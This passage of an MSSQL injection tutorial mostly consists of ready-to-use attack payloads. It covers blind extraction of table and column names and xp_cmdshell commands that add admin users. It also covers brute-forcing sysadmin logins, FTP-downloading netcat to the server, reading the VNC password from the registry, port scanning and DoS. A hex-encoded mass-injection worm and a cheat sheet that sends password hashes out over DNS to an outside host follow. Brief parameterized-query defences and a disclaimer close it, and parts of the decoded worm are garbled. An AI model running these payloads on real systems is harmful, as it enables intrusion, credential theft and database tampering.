    You see that the first character of database name has an ascii value which is greater than 108
    but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
    You can prove with:

    Code:

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)=109

    We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .

    The rest which you have to do is to manipulate some queries to collect your preferred information.
    In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.
    __________________

    [0x03c] - Exploit query for get Table name
    In order to get table name, we can use above method to obtain each character of table name.
    The only thing that we have to do is to change query to retrieve table name of current database.
    As MSSQL does not have limit command. Therefore, the query is a bit complicate.

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97

    The above query is used to determine the first character of first table in current database. If we want to find

    second character of first table, we can do by following request:

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97

    We change the second parameter of substring function from 1 to 2 in order to specify preferred position of

    character in table name.
    Thus, if we want to determine other positions, we require only changing second parameter of substring function.

    In case of other tables, we can find other table names by changing the second select
    from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97

    The above request will determine the first character of the second table name in current database.
    __________________

    [0x03d] - Exploit query for get Column name
    After we obtain table names, the next target information is absolutely column names.

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename')) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar (8000)),1,1)),0)>97

    In order to circumvent from magic quote filtering, you have to change 'tablename'
    to be the form of concatenating char() command. for example, if table name is 'user',
    when we put 'user' in the query, ' may be filtered and our query will be wrong.
    The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
    So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".

    In this case, we can circumvent magic quote filtering. The result from the above request is the first character

    of the first column name of specific table.
    When we want to find the second character of the first column, we can use the same method as getting table

    name, by changing the second parameter of
    substring function.

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename')) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar (8000)),2,1)),0)>97

    The above request is used to determine the second character of the first column name in specific table.
    In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename')) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE (p.x=2))AS varchar (8000)),1,1)),0)>97

    The first character of the second column name in specific table can be determined by the above request.
    __________________

[0x04] - More Dangerous SQL Injection Attack

    In this part we have 3 topic

    [0x04a] - Dangerous from Extended Stored Procedures
    [0x04b] - Advanced SQL Injection Techniques
    [0x04c] - Mass MSSQL Injection Worms
    __________________

    Introduction
    In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind injection.

    This chapter will not show only an data extraction but command execution and sql worms as well.
    __________________

    [0x04a] - Dangerous from Extended Stored Procedures
    xp_cmdshell - Executes a given command on the MSSQL Operation system
    - Available by default on all MSSQL (Disabled on MSSQL 2005)
    - Can only be executed by 'sa' and any other users with 'sysadmin' privileges

    xp_regxxx - Read/Write registry keys, potentially including the Read SAM file

    xp_regread
    xp_regwrite
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues

    [Example for determines what null-session shares are available on the server]
    exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Servi

    ces\lanmanserver\parameters','nullsessionshares'

    xp_servicecontrol - Allows to Manage Services

    Example Command :
    Code: (Click here to copy code to clipboard)

    --------------------------------------------------------------------
    exec master..xp_servicecontrol 'start','schedule'
    exec master..xp_servicecontrol 'start','server'
    --------------------------------------------------------------------

    xp_availablemedia - Reveals the available drives on the machine
    xp_dirtree - Allows a directory tree to be obtained
    xp_enumdsn - Enumerates ODBC data sources on the server
    xp_makecab - Allows the user to create a compressed archive of files on the server
    xp_ntsec_enumdomains - Enumerates domains that the server can access
    xp_terminate_process - Terminate a process (PID)
    xp_loginconfig - Login mode
    __________________

    [0x04b] - Advanced SQL Injection Techniques
    "xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is

    currently running.
    By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be

    enabled again using sp_configure)

    EXEC master.dbo.xp_cmdshell 'net user meister meister1234 /add' ;-- //Use for add user "meister" into system.
    EXEC master.dbo.xp_cmdshell 'net localgroup administrators meister /add' ;-- //Use for escalating privilege

    "meister" to admin group

    Example through SQL injection in a numeric field via a GET request:
    http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'

    On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:

    EXEC sp_configure 'show advanced options', 1;--

    RECONFIGURE;--
    EXEC sp_configure 'xp_cmdshell', 1;--
    RECONFIGURE;--

    On MSSQL 2000:

    If you have 'sa' privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc,
    we can simply inject the following code:

    EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--

    This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell

    functionality.
    If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we

    need to inject the following code:
    Code: (Click here to copy code to clipboard)

    CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result

    ** Tip **

    [Question]
    Determined that the web application connects to the DB with unprivileged account.
    So we can't execute XP_CMDSHELL or access any interesting data ?

    [Answer]
    It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.

    Code: (Click here to copy code to clipboard)

    ----------------------------------------------------------------------------------
    http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins

    where name not in ('sa') and sysadmin=1;--
    ----------------------------------------------------------------------------------

    Result :
    Code: (Click here to copy code to clipboard)

    -------------------------------------------------------------------------------
    sa
    Meister
    example
    --------------------------------------------------------------------------------

    We can use "OPENROWSET" to re-connect to the same database server under each enumerated
    sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing

    through the SQL injection:

    Code: (Click here to copy code to clipboard)

    ----------------------------------------------------------------------------------
    http://www.example.com/news.asp?id=1 union select * from openrowset ('SQLoledb','server=VICTIMDBNAME;uid=$US

    ER;pwd=$PASS','select * from master..sysusers')--
    ----------------------------------------------------------------------------------

    //Result: Found that "Meister" has a "1234"

    Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "Meister"

    system administrator credentials:

    Code: (Click here to copy code to clipboard)

    ---------------------------------------------------------------------------------
    http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security

    Info=False;DataSource=VICTIMDBNAME;UserID=Meister;Pass word=1234').master
    .dbo.xp_cmdshell 'net user hacklol 1234 /add';
    ---------------------------------------------------------------------------------

    //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.

    = How about Upload of executables ? =

    Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the

    target DB Server.
    A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP

    connections to the tester's machine,
    all that is needed is to inject the following queries:

    exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
    exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
    exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
    exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
    exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
    exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
    exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

    = How about Retrieving VNC Password from Registry ? =

    '; declare @out binary(8)
    exec master..xp_regread
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SOFTWARE\ORL\WinVNC3\Default',
    @value_name='password',
    @value = @out output
    select cast (@out as bigint) as x into TEMP--
    ' and 1 in (select cast(x as varchar) from temp)--

    = How about Port Scanning ? =

    We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet

    Code:

    ----------------------------------------------------------------------------------
    http://www.example.com/news.asp?id=1 union select * from openrowset

    ('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5','select * from table')--
    ----------------------------------------------------------------------------------

    This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5

    seconds)
    in parameter will be consumed and display error message:
    "SQL Server does not exist or access denied"

    If port is open, the timeout would not be consumed and error messages will returned:
    "General network error. Check your network documentation"
    or
    "OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."

    This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t

    !!)

    ** Note **
    This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and change

    timeout too high (500).
    It's make many connections to target over FTP service (port 21)
    __________________

    [0x04c] - Mass MSSQL Injection Worms
    Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite

    difficult to clean, even with the most robust database backup and recovery scheme. This attack is conducted

    with the help of an Internet robot—also known as malbot—which attacks its prospects daily. It is likely that

    such a malbot fires the series of injection attempts continuously and conditionally until the malicious script

    references are sensed on the targeted web pages. There is nothing new in the way that the following T-SQL is

    injected. Yet, the generic nature of the script is somewhat interesting to see.

    SQLi worm :
    Code: (Click here to copy code to clipboard)

    ';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

    (0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000

    76006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F00430

    07500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061

    006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002

    C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E006900

    6400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790

    0700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007800740079

    00700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--

    When we decode this SQLi Code with Hex:

    SQLi worm Decoded :
    Code: (Click here to copy code to clipboard)

    DECLARE @T VARCHAR(255)
    DECLARE @C VARCHAR(255)

    DECLARE Table_Cursor CURSOR FOR
    SELECT [A].[Name], .[Name]
    FROM sysobjects AS [A], syscolumns AS
    WHERE [A].[ID] = .[ID] AND

    [A].[XType] = 'U' /* Table (User-Defined) */ AND
    (.[XType] = 99 /* NTEXT */ OR
    .[XType] = 35 /* TEXT */ OR
    .[XType] = 231 /* SYSNAME */ OR
    .[XType] = 167 /* VARCHAR */)

    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C

    WHILE (@@FETCH_STATUS = 0)

    BEGIN
    EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''''')
    FETCH NEXT FROM Table_Cursor INTO @T, @C
    END

    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

    What happens as a result? It finds all text fields in the database and adds a link to malicious javascript to each and every one of them which will make your website display them automatically.
    So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.
    __________________

[0x05] - MSSQL Injection Cheat Sheet

    ** Some of the queries in the table below can only be run by an admin (SA Privilege). These are marked with "-- priv" at the end of the query. **

    Version
    SELECT @@version

    Comments
    SELECT 1 — comment
    SELECT /*comment*/1

    Current User
    SELECT user_name();
    SELECT system_user();
    SELECT user;
    SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

    List Users
    SELECT name FROM master..syslogins

    List Password Hashes
    SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message.
    SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

    List Privileges
    TODO

    List DBA Accounts
    TODO

    Current Database
    SELECT DB_NAME()

    List Databases
    SELECT name FROM master..sysdatabases;
    SELECT DB_NAME(N); — for N = 0, 1, 2, …

    List Columns
    SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

    List Tables
    SELECT name FROM master..sysobjects WHERE xtype = 'U'

    Find Tables From Column Name
    – NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
    SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password'

    Select Nth Row
    SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row

    Select Nth Char
    SELECT substring('abcd', 3, 1) — returns c

    Bitwise AND
    SELECT 6 & 2 — returns 2
    SELECT 6 & 1 — returns 0

    ASCII Value -> Char
    SELECT char(0Ã—41) — returns A

    Char -> ASCII Value
    SELECT ascii('A') - returns 65

    Casting
    SELECT CAST('1' as int);
    SELECT CAST(1 as char)

    String Concatenation
    SELECT 'A' + 'B' - returns AB

    If Statement
    IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1

    Case Statement
    SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1

    Avoiding Quotes
    SELECT char(65)+char(66) — returns AB

    Time Delay
    WAITFOR DELAY '0:0:5' — pause for 5 seconds

    Make DNS Requests
    declare @host varchar(800); select @host = name FROM master..syslogins; exec('xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); — nonpriv, works on 2000

    declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); — priv, works on 2005

    – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.

    Command Execution

    EXEC xp_cmdshell 'net user'; — priv

    On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
    EXEC sp_configure 'show advanced options', 1; — priv
    RECONFIGURE; — priv
    EXEC sp_configure 'xp_cmdshell', 1; — priv
    RECONFIGURE; — priv

    Local File Access
    CREATE TABLE mydata (line varchar(8000));
    BULK INSERT mydata FROM 'c:\boot.ini';
    DROP TABLE mydata;

    Hostname, IP Address
    SELECT HOST_NAME()

    Create Users
    EXEC sp_addlogin 'user', 'pass'; — priv

    Drop Users
    EXEC sp_droplogin 'user'; — priv

    Make User DBA
    EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; — priv

    Location of DB files
    TODO
    __________________

[0x06] - SQL Injection Countermeasures

Main cause of SQL injection vulnerability is input validation. Many web developers do not provide
proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access
to many databases. There are solutions to prevent SQL injection vulnerability.

- Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid input
- Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input field,
these may cause SQL injection vulnerability
- Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharaters.
- Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only query string but also headers,
cookies and form fields as well
- Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection.
This mechanism is called "Parameterized Queries".

The following two code samples illustrate the difference between an unsafe query dynamically constructed out of
user data, and its safe parameterized counterpart.

In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the
application vulnerable to SQL injection:

Code:

//define the query structure
string queryText = "select ename,sak from emp where ename ='";

//concatenate the user-supplied name
queryText += request.getParameter("name");
queryText += "'";

//execute the query
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);

In the second example, the query structure is defined using a question mark as a placeholder
for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure
of the query that is to be executed. Only then is the setString method used to specify the actual value of
the parameter. Because the query's structure has already been fixed, this value can contain any data at all,
without affecting the structure. The query is then executed safely:

Code:

//define the query structure
String queryText = "select ename,sal from emp where ename = ?";

//prepare the statement through DB connection "con"
stmt = con.prepareStatement(queryText);

//add the user input to variable 1 (at the first ? placeholder)
stmt.setSting(1, request.getParameter("name"));

//execute the query
rs = stmt.executeQuery();

__________________

[0x07] - References

[1] Error based SQL injection - a true story: AnalyseR
[2] Advanced SQL Injection In SQL Server Applications: Chris Anley
[3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino
[4] http://pentestmonkey.net
[5] http://www.owasp.org
[7] http://www.google.com

[0x08] - Greetz To

Greetz : Mom & Dad, coded32, Ion, Eviscreation, Archit, Hex00010, TOF, 4hm3d-M4X, ZimoX, Christelle, Luffy Media, Joe, DIABLEFREE2008, code 5, u-neek
Special Thx : google.com
----------------------------------------------------
This paper is written for Educational purpose only. The authors are not responsible for any damage
originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,
you must request for consent from system owner before